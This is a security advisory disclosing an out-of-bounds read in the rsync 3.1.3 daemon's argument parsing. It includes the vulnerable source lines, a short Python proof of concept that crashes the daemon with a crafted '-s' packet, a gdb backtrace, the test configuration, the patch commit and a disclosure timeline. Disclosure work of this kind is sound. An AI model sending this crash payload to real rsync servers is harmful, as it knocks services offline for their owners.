An attacker may send the rsync
daemon a crafted packet, triggering an out-of-bound memory read in the argument handling code.
Date Released: 17/12/2018
Author: Denis Andzakovic
Vendor Website: https://rsync.samba.org
Affected Software: Rsync 3.1.3
parse_arguments OOB Read
By sending a crafted packet, an attacker can trigger the following code path in clientserver.c
, resulting in the second parse_arguments()
call being made with an argc
value of 0.
869 read_args(f_in, name, line, sizeof line, rl_nulls, &argv, &argc, &request);
870 orig_argv = argv;
871
872 save_munge_symlinks = munge_symlinks;
873
874 reset_output_levels(); /* future verbosity is controlled by client options */
875 ret = parse_arguments(&argc, (const char ***) &argv);
876 if (protect_args && ret) {
877 orig_early_argv = orig_argv;
878 protect_args = 2;
879 read_args(f_in, name, line, sizeof line, 1, &argv, &argc, &request);
880 orig_argv = argv;
881 ret = parse_arguments(&argc, (const char ***) &argv);
882 } else
883 orig_early_argv = NULL;
By sending a packet that sets protect_args
and ret
and subsequently closing the socket, an attacker can cause the read_args()
call on line 879 to set argc
to 0. The subsequent calls to poptGetNextOpt()
within the parse_arguments()
method (line 881) result in an invalid memory access as the popt
library attempts to parse uninitialized memory.
Proof-of-Concept
The following POC code maybe used to trigger the out-of-bounds read:
#!/usr/bin/python
import socket;
host = "127.0.0.1"
port = 873
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send("@RSYNCD: 31.0\n")
sock.recv(1024)
sock.send("simple_path_name\n")
sock.recv(1024)
sock.send("-s"+"a"*5117+"\x0a")
sock.close()
The above POC results in the following back-trace:
Thread 2.1 "rsync" received signal SIGSEGV, Segmentation faultReading symbols from
[Switching to process 113814]
0x000000000044434c in poptGetNextOpt (con=0x67d130) at popt/popt.c:762
762 if (con->restLeftover || *origOptString != '-') {
(gdb) bt
#0 0x000000000044434c in poptGetNextOpt (con=0x67d130) at popt/popt.c:762
#1 0x00000000004217ec in parse_arguments (argc_p=0x7fffffffb8f8, argv_p=0x7fffffffb908) at options.c:1346
#2 0x00000000004372c3 in rsync_module (f_in=3, f_out=3, i=0, addr=0x678e00 <client_addr.addr_buf> "127.0.0.1", host=<optimized out>) at clientserver.c:881
#3 0x00000000004365ce in start_daemon (f_in=3, f_out=3) at clientserver.c:1135
#4 0x000000000042e48e in start_accept_loop (port=<optimized out>, fn=0x436330 <start_daemon>) at socket.c:618
#5 0x00000000004378d2 in daemon_main () at clientserver.c:1237
#6 0x000000000041af9d in main (argc=<optimized out>, argv=0x0) at main.c:1630
The Rsync daemon was run with the following configuration file:
log file = /var/tmp/rsyncd.log
pid file = /var/tmp/rsyncd.pid
lock file = /var/tmp/rsync.lock
[simple_path_name]
path = /tmp/
uid = nobody
read only = no
list = yes
Patch
This vulnerability was patched by commit a3668685354e7457ac3e29634083906ee5435bf2
on the rsync git repository.
Timeline
13/12/2018 - Advisory sent to Wayne
16/12/2018 - Patch pushed to Rsync git repo
17/12/2018 - Advisory released